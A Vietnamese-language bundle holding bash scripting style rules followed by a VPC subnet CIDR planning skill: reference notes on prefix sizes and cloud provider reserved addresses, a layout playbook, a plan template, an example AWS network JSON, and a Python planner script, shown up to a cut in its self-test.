- Định dạng kịch bản bằng shfmt để các bản so sánh thay đổi (diff) luôn nhỏ gọn. Độ tin cậy: 0.75
- Đặt mọi biến khi khai triển trong dấu ngoặc kép ("$var") trừ khi việc tách từ (word splitting) là có chủ đích và đã được chú thích rõ. Độ tin cậy: 0.95
- Sử dụng [[ ]] cho các phép kiểm tra điều kiện và $(...) để thay thế lệnh, tuyệt đối không dùng dấu huyền (` `). Độ tin cậy: 0.90
- Khai báo các biến bên trong hàm bằng từ khóa local. Độ tin cậy: 0.85
- Đặt phần xử lý logic vào trong các hàm và gọi hàm main "$@" ở cuối tệp. Độ tin cậy: 0.80
- Dọn dẹp các tệp tạm bằng mktemp và bẫy sự kiện trap '...' EXIT. Độ tin cậy: 0.90
- Ghi các lỗi và nhật ký (log) ra luồng stderr và giữ luồng stdout dành riêng cho dữ liệu để các công cụ khác có thể nối ống (pipe). Độ tin cậy: 0.85
- Thoát chương trình với mã trạng thái khác không (non-zero) cùng thông báo rõ ràng khi có lỗi xảy ra. Độ tin cậy: 0.90
- Cung cấp hàm hướng dẫn sử dụng (usage) và xử lý các cờ -h cũng như --help. Độ tin cậy: 0.80
- Phân tích cú pháp các tùy chọn bằng getopts hoặc vòng lặp case đơn giản, không kiểm tra tham số vị trí một cách tùy tiện. Độ tin cậy: 0.75
- Kiểm tra trước các lệnh bắt buộc phải có bằng command -v và báo lỗi dừng sớm ngay khi thiếu một lệnh. Độ tin cậy: 0.85
- Đọc cấu hình từ các biến môi trường kèm theo giá trị mặc định, chẳng hạn như -8080. Độ tin cậy: 0.80
- Không bao giờ phân tích cú pháp (parse) đầu ra của lệnh ls; hãy dùng mẫu glob hoặc find -print0 kết hợp với xargs -0. Độ tin cậy: 0.90
- Đọc tệp từng dòng một bằng cú pháp while IFS= read -r line. Độ tin cậy: 0.85
- Sử dụng mảng (array) cho danh sách đối số thay vì ghép nối các chuỗi lệnh. Độ tin cậy: 0.85
- Tránh sử dụng eval, và tuyệt đối không truyền dữ liệu đầu vào không đáng tin cậy vào đó. Độ tin cậy: 0.95
- Thiết kế các kịch bản có tính lũy đẳng (idempotent) để việc chạy chúng hai lần vẫn đảm bảo an toàn. Độ tin cậy: 0.85
- Thêm cờ --dry-run vào bất kỳ tác vụ nào thực hiện xóa hoặc thay đổi trạng thái từ xa. Độ tin cậy: 0.80
- Chỉ bó buộc trong chuẩn POSIX sh khi kịch bản bắt buộc phải chạy trong các container tối giản; còn lại hãy nhắm tới mục tiêu bash 4+. Độ tin cậy: 0.70Quy hoạch và kiểm tra cách bố trí mạng con (subnet) IPv4 cho các mạng trên AWS, Azure, GCP hoặc tại chỗ (on-prem). Tính toán kích thước từng mạng con dựa trên số lượng máy trạm (host) cộng với mức tăng trưởng và các địa chỉ dành riêng của nhà cung cấp, cấp phát các khối CIDR được căn chỉnh theo thứ tự từ lớn nhất trước, đồng thời cảnh báo các mạng con bị chồng lấn, các dải VPC xung đột với VPC được kết nối ngang hàng (peered VPC), mạng VPN hoặc cầu nối docker0, các dải IP công cộng, giới hạn kích thước, khoảng dự phòng thấp và cách bố trí chỉ có một vùng (single-zone). Bao gồm công cụ quy hoạch viết bằng thư viện chuẩn Python kèm tùy chọn --self-test.
---
name: vpc-subnet-cidr-planner
description: Quy hoạch và kiểm tra cách bố trí mạng con (subnet) IPv4 cho các mạng trên AWS, Azure, GCP hoặc tại chỗ (on-prem). Tính toán kích thước từng mạng con dựa trên số lượng máy trạm (host) cộng với mức tăng trưởng và các địa chỉ dành riêng của nhà cung cấp, cấp phát các khối CIDR được căn chỉnh theo thứ tự từ lớn nhất trước, đồng thời cảnh báo các mạng con bị chồng lấn, các dải VPC xung đột với VPC được kết nối ngang hàng (peered VPC), mạng VPN hoặc cầu nối docker0, các dải IP công cộng, giới hạn kích thước, khoảng dự phòng thấp và cách bố trí chỉ có một vùng (single-zone). Bao gồm công cụ quy hoạch viết bằng thư viện chuẩn Python kèm tùy chọn --self-test.
---
# Công cụ Quy hoạch CIDR Mạng con VPC
Bạn giúp các kỹ sư phân chia một mạng lớn thành các mạng con (subnet) vừa vặn với nhu cầu hiện tại, chừa đủ không gian để mở rộng và không bao giờ xung đột với bất kỳ mạng nào họ cần định tuyến tới trong tương lai. Bạn biến yêu cầu "chúng tôi cần các mạng con public, app và data ở hai vùng (zone)" thành các khối CIDR chính xác, giải thích rõ những con số tính toán và phát hiện sớm các điểm chồng lấn vốn rất vất vả để khắc phục một khi các tải công việc (workloads) đã đi vào vận hành.
## Các tệp trong kỹ năng này
- `scripts/cidr_plan.py` - tính toán kích thước và cấp phát các mạng con, liệt kê các dải địa chỉ host khả dụng cùng các khối còn trống, đồng thời báo cáo các phát hiện (chỉ dùng thư viện chuẩn Python 3, sử dụng mô-đun `ipaddress`)
- `references/cidr-math-and-provider-rules.md` - bảng kích thước tiền tố (prefix), quy tắc căn chỉnh (alignment), các địa chỉ dành riêng và giới hạn theo từng nhà cung cấp, các dải địa chỉ riêng (private ranges)
- `references/subnet-layout-playbook.md` - cách bố trí phân tầng (tiered layouts), chiến lược phân vùng (zone), tính toán kích thước mạng con cho pod Kubernetes, tránh chồng lấn với VPN và các mạng ngang hàng (peers), các phương án đánh số lại (renumbering)
- `templates/subnet-plan.md` - mẫu tài liệu quy hoạch mạng con dùng để rà soát hoặc đính kèm vào pull request
- `examples/shop-platform-vpc.json` - một mạng AWS /18 có các mạng con cũ (legacy), một VPC phân tích được kết nối ngang hàng (peered) và sáu mạng con mới trải trên hai vùng
## Quy trình làm việc
### 1. Thu thập thông tin thực tế về mạng
Hỏi về nhà cung cấp dịch vụ, dải CIDR của VPC / VNet (hoặc dải địa chỉ họ dự định dùng), các mạng con hiện có, mọi mạng mà nó phải giao tiếp cùng (các VPC kết nối ngang hàng, mạng VPN, văn phòng tại chỗ on-prem, đường kết nối đối tác, các đám mây khác), và các mạng con họ cần tạo: mục đích sử dụng, vùng (zone), số lượng host hiện tại và mức tăng trưởng dự kiến. Đối với Kubernetes, hãy hỏi xem các pod có lấy địa chỉ trực tiếp từ VPC hay không (AWS VPC CNI, Azure CNI), vì khi đó chính số lượng pod chứ không phải số lượng node mới là yếu tố quyết định kích thước mạng con.
### 2. Chạy công cụ quy hoạch
```
python3 scripts/cidr_plan.py examples/shop-platform-vpc.json
python3 scripts/cidr_plan.py plan.json --json
python3 scripts/cidr_plan.py --self-test
```
Mã thoát (exit code) 1 nghĩa là có các phát hiện mức HIGH (chồng lấn địa chỉ, hết không gian trống), 2 nghĩa là dữ liệu đầu vào bị lỗi (các bit phần host bị bật, dùng IPv6, các dải VPC bị chồng lấn nhau).
### 3. Rà soát kết quả
Khắc phục các phát hiện mức HIGH trước: sự chồng lấn với mạng ngang hàng (peer) hoặc VPN sẽ không thể định tuyến được và thường đồng nghĩa với việc phải chọn một dải VPC mới ngay bây giờ khi chi phí thay đổi còn thấp. Sử dụng `references/subnet-layout-playbook.md` để điều chỉnh cách bố trí (các mạng con có kích thước bằng nhau ở mỗi vùng, chừa một khối dự phòng cho mỗi tầng, chừa chỗ cho vùng thứ ba) và dùng `references/cidr-math-and-provider-rules.md` để giải thích về kích thước. Chạy lại công cụ sau mỗi lần thay đổi.
### 4. Bàn giao kết quả
Điền vào `templates/subnet-plan.md` bảng quy hoạch, các khối còn trống, các phát hiện và quyết định. Cung cấp thêm các đoạn mã Terraform hoặc lệnh CLI cho các khối CIDR cuối cùng nếu được yêu cầu.
## Kết quả ví dụ
Đối với `examples/shop-platform-vpc.json` (AWS 10.20.0.0/18): các mạng con tầng app gồm 2,500 pod + 60% tăng trưởng được cấp các khối /20 (mỗi khối có 4,091 địa chỉ khả dụng) tại 10.20.16.0/20 và 10.20.32.0/20; các mạng con cho bộ cân bằng tải (load balancer) và tầng dữ liệu (data) được cấp các khối /25 (123 địa chỉ khả dụng). Các phát hiện: mức HIGH do mạng con cũ rds-b 10.20.1.128/25 bị chồng lấn với rds-a 10.20.1.0/24; mức HIGH do VPC phân tích được kết nối ngang hàng 10.20.48.0/20 nằm gọn bên trong dải VPC này nên việc định tuyến tới nó sẽ bị lỗi; mức LOW do chỉ còn trống 20% không gian địa chỉ.
## Quy tắc
- Không bao giờ đề xuất một dải địa chỉ bị chồng lấn với mạng ngang hàng (peer), VPN hoặc mạng tại chỗ (on-prem) đã biết; hãy hỏi danh sách đầy đủ nếu chưa chắc chắn.
- Quy hoạch có tính đến mức tăng trưởng và một vùng (zone) trong tương lai; việc thay đổi kích thước một mạng con tại chỗ thường là bất khả thi.
- Giữ các phép tính IPv4 tuyệt đối chính xác; hiển thị số lượng địa chỉ khả dụng sau khi đã trừ đi các địa chỉ dành riêng của nhà cung cấp.
- Không tự mình thay đổi các mạng đang hoạt động; hãy đưa ra bản quy hoạch và thứ tự thực hiện thay đổi để người dùng tự áp dụng.
FILE:references/cidr-math-and-provider-rules.md
# Toán học CIDR và Quy tắc của Nhà cung cấp
## Kích thước tiền tố (IPv4)
| Tiền tố (Prefix) | Tổng số địa chỉ | Khả dụng trên AWS / Azure (-5) | Khả dụng trên GCP (-4) | Khả dụng truyền thống (-2) |
|---|---|---|---|---|
| /16 | 65,536 | 65,531 | 65,532 | 65,534 |
| /18 | 16,384 | 16,379 | 16,380 | 16,382 |
| /19 | 8,192 | 8,187 | 8,188 | 8,190 |
| /20 | 4,096 | 4,091 | 4,092 | 4,094 |
| /21 | 2,048 | 2,043 | 2,044 | 2,046 |
| /22 | 1,024 | 1,019 | 1,020 | 1,022 |
| /23 | 512 | 507 | 508 | 510 |
| /24 | 256 | 251 | 252 | 254 |
| /25 | 128 | 123 | 124 | 126 |
| /26 | 64 | 59 | 60 | 62 |
| /27 | 32 | 27 | 28 | 30 |
| /28 | 16 | 11 | 12 | 14 |
Mỗi khi tiền tố tăng hoặc giảm 1 đơn vị thì kích thước khối địa chỉ sẽ giảm đi một nửa hoặc tăng gấp đôi. Số địa chỉ = 2^(32 - prefix).
## Quy tắc căn chỉnh (Alignment)
Một khối địa chỉ phải bắt đầu tại một bội số của chính kích thước khối đó: một khối /20 bắt đầu tại x.x.0.0, x.x.16.0, x.x.32.0, ...; cách viết 10.20.8.0/20 là không hợp lệ (do các bit phần host bị bật). Việc cấp phát các khối lớn nhất trước giúp giữ cho không gian địa chỉ không bị phân mảnh; nếu đặt các mạng con nhỏ vào trước, chúng có thể chặn mất mọi vị trí căn chỉnh hợp lệ dành cho một khối lớn.
## Các địa chỉ dành riêng trên mỗi mạng con
- **AWS:** bốn địa chỉ đầu tiên (địa chỉ mạng, bộ định tuyến VPC, DNS, dự phòng) và địa chỉ cuối cùng (broadcast) -> trừ 5 địa chỉ. CIDR của VPC từ /16 đến /28, các mạng con từ /16 đến /28. Mặc định tối đa 5 khối CIDR trên mỗi VPC (có thể thêm các CIDR phụ sau để mở rộng không gian).
- **Azure:** bốn địa chỉ đầu tiên (địa chỉ mạng, cổng gateway, 2 địa chỉ DNS) và địa chỉ cuối cùng -> trừ 5 địa chỉ. Mạng con nhỏ nhất đến /29. Một số dịch vụ yêu cầu các mạng con chuyên dụng riêng (GatewaySubnet từ /27 trở lên, AzureFirewallSubnet /26, AzureBastionSubnet /26).
- **GCP:** địa chỉ mạng, cổng gateway, địa chỉ áp chót và địa chỉ broadcast -> trừ 4 địa chỉ. Các mạng con có phạm vi theo khu vực (regional chứ không phải zonal), nhỏ nhất là /29; hỗ trợ các dải địa chỉ phụ (secondary ranges) cho các pod và service của GKE.
- **Truyền thống / tại chỗ (Classic / on-prem):** địa chỉ mạng và địa chỉ broadcast -> trừ 2 địa chỉ (các liên kết điểm-nối-điểm /31 là trường hợp đặc biệt).
## Các dải địa chỉ riêng và đặc biệt
- RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
- Không gian dùng chung cho Carrier-grade NAT 100.64.0.0/10 (RFC 6598): có thể dùng bên trong các đám mây, nhưng cần kiểm tra để đảm bảo nhà mạng ISP / VPN không sử dụng dải này.
- Nên tránh: 172.17.0.0/16 (cầu nối docker0 mặc định), 169.254.0.0/16 (link-local, dịch vụ metadata trên đám mây), 192.168.0.0/24 và 192.168.1.0/24 (bộ định tuyến gia đình hay dùng nên người dùng VPN sẽ bị xung đột), 10.0.0.0/16 (VPC mặc định trong nhiều công cụ nên các mạng kết nối ngang hàng thường bị đụng).
- Việc sử dụng các dải địa chỉ công cộng (public ranges) bên trong một VPC sẽ khiến các địa chỉ internet thực tế tương ứng không thể truy cập được từ bên trong VPC đó.
## Công thức tính nhanh
- Tiền tố nhỏ nhất cho N máy trạm (host) khả dụng với R địa chỉ dành riêng: 32 - ceil(log2(N + R)).
- Số lượng host tính cả mức tăng trưởng: ceil(hosts x (1 + growth)).
- Không gian trống sau khi quy hoạch = tổng địa chỉ VPC - (các mạng hiện có + mạng mới + các dải mạng ngang hàng bị chặn nằm bên trong VPC).
FILE:references/subnet-layout-playbook.md
# Sổ tay Bố trí Mạng con (Subnet Layout Playbook)
## Cách bố trí phân tầng trên mỗi vùng (zone)
| Tầng (Tier) | Thành phần chứa bên trong | Kích thước điển hình | Định tuyến (Route) |
|---|---|---|---|
| Public | bộ cân bằng tải (load balancers), cổng NAT (NAT gateways), máy chủ bastion | /24 đến /26 | cổng internet (internet gateway) |
| Private app | máy ảo (VMs), containers, các node và pod của Kubernetes | lớn nhất, /20 đến /22 | cổng NAT (NAT gateway) |
| Data | cơ sở dữ liệu, bộ nhớ đệm (caches), hàng đợi (queues) | /24 đến /26 | không có đường định tuyến ra internet |
| Spare (Dự phòng) | tầng tương lai hoặc vùng (zone) thứ ba | giữ lại một khối đã căn chỉnh | - |
Sử dụng cùng một kích thước cho mỗi tầng ở tất cả các vùng để khi chuyển đổi dự phòng (failover), vùng dự phòng có thể gánh toàn bộ tải.
## Chiến lược phân vùng (Zone strategy)
- Sử dụng ít nhất hai vùng (zones) cho bất kỳ hệ thống môi trường thực tế (production) nào; dùng ba vùng nếu khu vực (region) và ngân sách cho phép.
- Giữ chỗ trước các khối địa chỉ cho vùng thứ ba ngay từ bây giờ dù chưa dùng tới; việc này giúp cấu trúc bố trí luôn đối xứng.
- Các mạng con trên GCP có phạm vi theo khu vực (regional), vì vậy hãy quy hoạch theo từng khu vực thay vì theo từng vùng (zone).
## Tính toán kích thước cho Kubernetes
- Với AWS VPC CNI hoặc Azure CNI, mỗi pod sẽ lấy một địa chỉ IP từ VPC: hãy tính kích thước mạng con tầng app theo số lượng pod ở mức đỉnh (số node x số pod tối đa trên mỗi node), cộng thêm mức tăng đột biến trong quá trình cập nhật cuốn chiếu (rolling updates, thường là +25%) và khi thay thế node.
- Cơ chế ủy quyền tiền tố (Prefix delegation trên AWS) hoặc mạng phủ (overlay networking như Calico, Cilium, kubenet, Azure CNI Overlay) sẽ chuyển các pod sang một dải địa chỉ riêng biệt; khi đó chỉ cần tính kích thước mạng con theo số lượng node và giữ cho dải CIDR của pod không bị trùng với bất kỳ mạng ngang hàng nào.
- Giữ cho dải CIDR của service (ví dụ 172.20.0.0/16) cũng tách biệt hoàn toàn khỏi VPC và các mạng ngang hàng.
## Tránh chồng lấn địa chỉ
- Thu thập mọi mạng mà bạn sẽ cần định tuyến tới: các VPC và tài khoản khác, máy khách VPN, văn phòng, đối tác, các đám mây khác và cả những dải mạng đang được sử dụng bởi các công ty được mua lại/sáp nhập.
- Duy trì một bảng quy hoạch IP tập trung (bảng tính hoặc hệ thống IPAM) và cấp cho mỗi môi trường một khối riêng biệt, ví dụ: 10.20.0.0/16 cho prod, 10.21.0.0/16 cho staging, 10.22.0.0/16 cho dev.
- Không chọn các dải 10.0.0.0/16, 172.17.0.0/16 hoặc từ 192.168.0.0/24 đến 192.168.1.0/24 cho bất kỳ hệ thống nào mà người dùng VPN sẽ kết nối vào.
## Khi đã xảy ra chồng lấn
1. Ưu tiên đánh số lại (renumbering) phía mạng nhỏ hơn hoặc mới hơn ngay lập tức (tạo VPC mới hoặc thêm một dải CIDR phụ, di chuyển hệ thống sang, rồi xóa mạng cũ).
2. Nếu không thể đánh số lại, hãy sử dụng NAT (private NAT gateway, hoặc NAT trên thiết bị VPN) và chỉ định tuyến các dải địa chỉ đã được biên dịch (translated ranges).
3. Các mạng con chồng lấn bên trong cùng một VPC không thể tạo được trên AWS / Azure / GCP; nếu thấy xuất hiện trong tài liệu thì thường là do lỗi gõ nhầm, vì vậy hãy kiểm tra lại các giá trị thực tế.
## Danh sách kiểm tra rà soát (Review checklist)
- [ ] Dải VPC là địa chỉ riêng (private) và duy nhất trên tất cả các mạng ngang hàng (peers) cùng mạng VPN
- [ ] Mọi mạng con đều được căn chỉnh đúng, nằm trong VPC và không bị chồng lấn nhau
- [ ] Kích thước đã tính gộp cả các địa chỉ dành riêng và mức tăng trưởng dự kiến
- [ ] Các tầng cùng loại có kích thước bằng nhau ở mỗi vùng; có giữ lại khối dự phòng
- [ ] Còn trống ít nhất 25% không gian địa chỉ của VPC
FILE:templates/subnet-plan.md
# Bản Quy hoạch Mạng con - <tên mạng>
**Nhà cung cấp / khu vực:** <aws eu-west-1> **VPC CIDR:** <10.x.0.0/16> **Đơn vị sở hữu:** <nhóm> **Ngày:** <ngày>
**Các mạng ngang hàng (Peers) / VPN đã kiểm tra:** <danh sách các dải địa chỉ>
## Các mạng con (Subnets)
| Mạng con | Tầng (Tier) | Vùng (Zone) | Số host hiện tại | Mức tăng trưởng | CIDR | Số IP khả dụng | Bảng định tuyến (Route table) |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Các mạng con hiện có được giữ lại
| Tên | CIDR | Ghi chú |
|---|---|---|
| | | |
## Không gian trống
- Đã sử dụng hoặc bị chặn: <n> trên tổng số <total> (còn trống <x>%)
- Các khối dự phòng được giữ chỗ cho: <vùng thứ ba / tầng tương lai>
## Các phát hiện và quyết định
| Mức độ nghiêm trọng | Phát hiện | Quyết định |
|---|---|---|
| | | |
## Thứ tự triển khai (Rollout order)
1. <tạo CIDR phụ / tạo VPC mới>
2. <tạo các mạng con và bảng định tuyến>
3. <di chuyển các tải công việc (workloads), xóa các mạng con cũ>
FILE:examples/shop-platform-vpc.json
{
"name": "shop platform, eu-west-1 production VPC",
"provider": "aws",
"vpc_cidrs": ["10.20.0.0/18"],
"existing": [
{"name": "legacy bastion", "cidr": "10.20.0.0/26"},
{"name": "legacy rds-a", "cidr": "10.20.1.0/24"},
{"name": "legacy rds-b", "cidr": "10.20.1.128/25"}
],
"peers": [
{"name": "office VPN (Istanbul)", "cidr": "192.168.10.0/24"},
{"name": "analytics VPC (peered)", "cidr": "10.20.48.0/20"}
],
"requests": [
{"name": "public-a (load balancers)", "hosts": 40, "zone": "eu-west-1a", "growth": 0.5},
{"name": "public-b (load balancers)", "hosts": 40, "zone": "eu-west-1b", "growth": 0.5},
{"name": "app-a (EKS pods)", "hosts": 2500, "zone": "eu-west-1a", "growth": 0.6},
{"name": "app-b (EKS pods)", "hosts": 2500, "zone": "eu-west-1b", "growth": 0.6},
{"name": "data-a (databases, cache)", "hosts": 60, "zone": "eu-west-1a"},
{"name": "data-b (databases, cache)", "hosts": 60, "zone": "eu-west-1b"}
]
}
FILE:scripts/cidr_plan.py
#!/usr/bin/env python3
"""VPC subnet CIDR planner and checker (Python 3 standard library only).
Input: a network plan JSON file:
{"name": "prod-eu", "provider": "aws", "vpc_cidrs": ["10.40.0.0/16"],
"existing": [{"name": "legacy-db", "cidr": "10.40.8.0/24"}],
"peers": [{"name": "office vpn", "cidr": "192.168.0.0/22"}],
"requests": [{"name": "app-a", "hosts": 900, "zone": "eu-west-1a", "growth": 0.5}]}
provider: aws | azure | gcp | generic. Reserved addresses per subnet: aws 5, azure 5,
gcp 4, generic 2 (network + broadcast). Subnet size limits: aws /16../28,
azure /8../29, gcp /8../29, generic /8../30.
requests: hosts needed now; growth = extra fraction to reserve (default 0.3);
optional "prefix" forces a size. Allocation is largest-first, aligned, lowest free address,
never overlapping existing subnets or peer networks that sit inside the VPC.
Checks (severity):
HIGH OVERLAP_EXISTING two existing subnets overlap
HIGH OUTSIDE_VPC existing subnet not inside any VPC CIDR
HIGH PEER_OVERLAP VPC CIDR overlaps a peered / VPN / on-prem network (routing breaks)
HIGH NO_SPACE a request does not fit in the remaining space
MEDIUM DOCKER_DEFAULT VPC overlaps 172.17.0.0/16 (default docker0 bridge)
MEDIUM PUBLIC_RANGE VPC CIDR is not private (RFC 1918 / 100.64.0.0/10)
MEDIUM PREFIX_LIMIT requested or VPC prefix outside the provider limits
LOW LOW_HEADROOM less than 25% of the VPC left free after the plan
LOW SINGLE_ZONE all requests in one zone (no zone redundancy)
Usage:
python3 cidr_plan.py plan.json
python3 cidr_plan.py plan.json --json
python3 cidr_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import ipaddress as ip
import json
import math
import sys
RESERVED = {"aws": 5, "azure": 5, "gcp": 4, "generic": 2}
HEAD_RESERVED = {"aws": 4, "azure": 4, "gcp": 2, "generic": 1} # rest are at the end of the block
LIMITS = {"aws": (16, 28), "azure": (8, 29), "gcp": (8, 29), "generic": (8, 30)}
PRIVATE = [ip.ip_network(c) for c in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10")]
DOCKER = ip.ip_network("172.17.0.0/16")
class PlanError(ValueError):
pass
def net(cidr, what="cidr"):
try:
n = ip.ip_network(str(cidr).strip(), strict=True)
except ValueError as e:
raise PlanError(f"bad {what} {cidr!r}: {e}")
if n.version != 4:
raise PlanError(f"only IPv4 is supported: {cidr!r}")
return n
def usable(prefix, provider):
return max(0, 2 ** (32 - prefix) - RESERVED[provider])
def prefix_for(hosts, provider, growth):
need = math.ceil(hosts * (1 + growth))
lo, hi = LIMITS[provider]
for p in range(hi, lo - 1, -1):
if usable(p, provider) >= need:
return p
return None
def find_slot(vpcs, taken, prefix):
for v in vpcs:
if prefix < v.prefixlen:
continue
for cand in v.subnets(new_prefix=prefix):
if not any(cand.overlaps(t) for t in taken):
return cand
return None
def plan(cfg):
provider = str(cfg.get("provider", "generic")).lower()
if provider not in RESERVED:
raise PlanError(f"unknown provider {provider!r} (aws, azure, gcp, generic)")
vpcs = [net(c, "vpc_cidr") for c in cfg.get("vpc_cidrs") or []]
if not vpcs:
raise PlanError("vpc_cidrs is empty")
lo, hi = LIMITS[provider]
findings = []
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for v in vpcs:
if not any(v.subnet_of(p) for p in PRIVATE):
f("MEDIUM", "PUBLIC_RANGE", str(v), "not an RFC 1918 or 100.64.0.0/10 range; it may clash with real internet addresses")
if v.overlaps(DOCKER):
f("MEDIUM", "DOCKER_DEFAULT", str(v), "overlaps 172.17.0.0/16, the default docker0 bridge; containers on hosts in this VPC may lose routes")
if provider == "aws" and not (16 <= v.prefixlen <= 28):
f("MEDIUM", "PREFIX_LIMIT", str(v), "AWS VPC CIDR blocks must be /16 to /28")
for i, a in enumerate(vpcs):
for b in vpcs[i + 1:]:
if a.overlaps(b):
raise PlanError(f"vpc_cidrs overlap each other: {a} and {b}")
existing = []
for e in cfg.get("existing") or []:
n = net(e.get("cidr"), "existing cidr")
name = e.get("name") or str(n)
if not any(n.subnet_of(v) for v in vpcs):
f("HIGH", "OUTSIDE_VPC", name, f"{n} is not inside {', '.join(map(str, vpcs))}")
for other_name, o in existing:
if n.overlaps(o):
f("HIGH", "OVERLAP_EXISTING", name, f"{n} overlaps {other_name} {o}")
existing.append((name, n))
taken = [n for _, n in existing]
for p in cfg.get("peers") or []:
n = net(p.get("cidr"), "peer cidr")
name = p.get("name") or str(n)
for v in vpcs:
if v.overlaps(n):
f("HIGH", "PEER_OVERLAP", name, f"{n} overlaps VPC {v}; traffic to the overlapping range cannot be routed both ways (renumber one side or use NAT)")
taken.append(n)
reqs = []
for r in cfg.get("requests") or []:
name = r.get("name") or "subnet"
hosts = r.get("hosts", 0)
if not isinstance(hosts, int) or isinstance(hosts, bool) or hosts < 1:
raise PlanError(f"request {name!r}: hosts must be a positive integer")
growth = r.get("growth", 0.3)
if not isinstance(growth, (int, float)) or growth < 0:
raise PlanError(f"request {name!r}: growth must be >= 0")
if "prefix" in r:
pfx = r["prefix"]
if not isinstance(pfx, int) or not 8 <= pfx <= 30:
raise PlanError(f"request {name!r}: prefix must be an integer 8..30")
if not lo <= pfx <= hi:
f("MEDIUM", "PREFIX_LIMIT", name, f"/{pfx} is outside {provider} subnet limits /{lo}../{hi}")
else:
pfx = prefix_for(hosts, provider, growth)
reqs.append({"name": name, "hosts": hosts, "growth": growth, "zone": r.get("zone", ""), "prefix": pfx})
allocs = []
order = sorted(range(len(reqs)), key=lambda i: (reqs[i]["prefix"] if reqs[i]["prefix"] is not None else -1, i))
for i in order:
r = reqs[i]
slot = find_slot(vpcs, taken, r["prefix"]) if r["prefix"] is not None else None
if slot is None:
f("HIGH", "NO_SPACE", r["name"], f"needs {r['hosts']} hosts (+{round(r['growth'] * 100)}% growth) and no free aligned block is left")
allocs.append(dict(r, cidr=None, usable=0))
continue
taken.append(slot)
u = usable(slot.prefixlen, provider)
tail = RESERVED[provider] - HEAD_RESERVED[provider]
allocs.append(dict(r, cidr=str(slot), usable=u,
first=str(slot[HEAD_RESERVED[provider]]) if u else "-",
last=str(slot[-1 - tail]) if u else "-"))
if u < r["hosts"]:
f("HIGH", "NO_SPACE", r["name"], f"/{slot.prefixlen} gives only {u} usable addresses for {r['hosts']} hosts")
allocs.sort(key=lambda a: (a["cidr"] is None, ip.ip_network(a["cidr"]) if a["cidr"] else 0))
total = sum(v.num_addresses for v in vpcs)
used = 0
inside = [t for t in taken if any(t.subnet_of(v) for v in vpcs)]
for t in ip.collapse_addresses(inside):
used += t.num_addresses
free = total - used
free_blocks = []
for v in vpcs:
rest = [v]
for t in ip.collapse_addresses([x for x in inside if x.subnet_of(v)]):
nxt = []
for b in rest:
if t.subnet_of(b):
nxt.extend(b.address_exclude(t))
elif not b.subnet_of(t):
nxt.append(b)
rest = nxt
free_blocks.extend(sorted(rest))
if total and free / total < 0.25:
f("LOW", "LOW_HEADROOM", "plan", f"only {free / total:.0%} of the VPC address space is left free")
zones = {r["zone"] for r in reqs if r["zone"]}
if len(reqs) > 1 and len(zones) == 1:
f("LOW", "SINGLE_ZONE", "plan", f"all requests are in {zones.pop()}; spread subnets over at least two zones")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": cfg.get("name", "network plan"), "provider": provider, "vpcs": [str(v) for v in vpcs],
"existing": [{"name": n, "cidr": str(c)} for n, c in existing],
"allocations": allocs, "total": total, "used": used, "free": free,
"free_blocks": [str(b) for b in free_blocks], "findings": findings}
def report(res):
out = [f"# Subnet plan: {res['name']}", "",
f"Provider: {res['provider']} (reserves {RESERVED[res['provider']]} addresses per subnet) VPC: {', '.join(res['vpcs'])}", "",
"| Subnet | Zone | Hosts now | Growth | CIDR | Usable | First host | Last host |", "|---|---|---|---|---|---|---|---|"]
for a in res["allocations"]:
out.append(f"| {a['name']} | {a['zone'] or '-'} | {a['hosts']} | {round(a['growth'] * 100)}% | {a['cidr'] or 'NOT PLACED'} | "
f"{a['usable']} | {a.get('first', '-')} | {a.get('last', '-')} |")
if res["existing"]:
out += ["", "Existing subnets kept: " + ", ".join(f"{e['name']} {e['cidr']}" for e in res["existing"])]
pct = res["free"] / res["total"] if res["total"] else 0
out += ["", f"Address space: {res['used']} of {res['total']} used or blocked, {res['free']} free ({pct:.0%})",
"Largest free blocks: " + (", ".join(sorted(res["free_blocks"], key=lambda c: ip.ip_network(c).prefixlen)[:6]) or "none"),
"", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
ok("aws /24 usable 251", usable(24, "aws") == 251)
ok("generic /24 usable 254", usable(24, "generic") == 254)
ok("gcp /29 usable 4", usable(29, "gcp") == 4)
ok("900 hosts +50% on aws -> /21", prefix_for(900, "aws", 0.5) == 21)
ok("250 hosts no growth aws -> /24", prefix_for(250, "aws", 0) == 24)
ok("252 hosts no growth aws -> /23", prefix_for(252, "aws", 0) == 23)
ok("too big for aws -> None", prefix_for(70000, "aws", 0) is None)
base = {"provider": "aws", "vpc_cidrs": ["10.0.0.0/16"]}
r = plan(dict(base, requests=[{"name": "a", "hosts": 200, "zone": "z1"}, {"name": "b", "hosts": 1000, "zone": "z2"}]))
cid = {a["name"]: a["cidr"] for a in r["allocations"]}
ok("largest first gets lowest block", cid == {"b": "10.0.0.0/21", "a": "10.0.8.0/23"})
ok("clean plan has no findings", r["findings"] == [])
aa = [a for a in r["allocations"] if a["name"] == "a"][0]
ok("first/last host skip aws reserved", (aa["first"], aa["last"]) == ("10.0.8.4", "10.0.9.254"))
g = plan({"provider": "gcp", "vpc_cidrs": ["10.0.0.0/16"], "requests": [{"name": "a", "hosts": 100, "growth": 0}]})["allocations"][0]
ok("gcp reserves 2 head + 2 tail", (g["cidr"], g["first"], g["last"]) == ("10.0.0.0/25", "10.0.0.2", "10.0.0.125"))
r = plan(dict(base, existing=[{"name": "old", "cidr": "10.0.0.0/22"}], requests=[{"name": "a", "hosts": 1000}]))
ok("allocation avoids existing", r["allocations"][0]["cidr"] == "10.0.8.0/21")
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.0.0.0/24"}, {"name": "y", "cidr": "10.0.0.128/25"}]))
ok("overlap existing flagged", any(x["code"] == "OVERLAP_EXISTING" for x in r["findings"]))
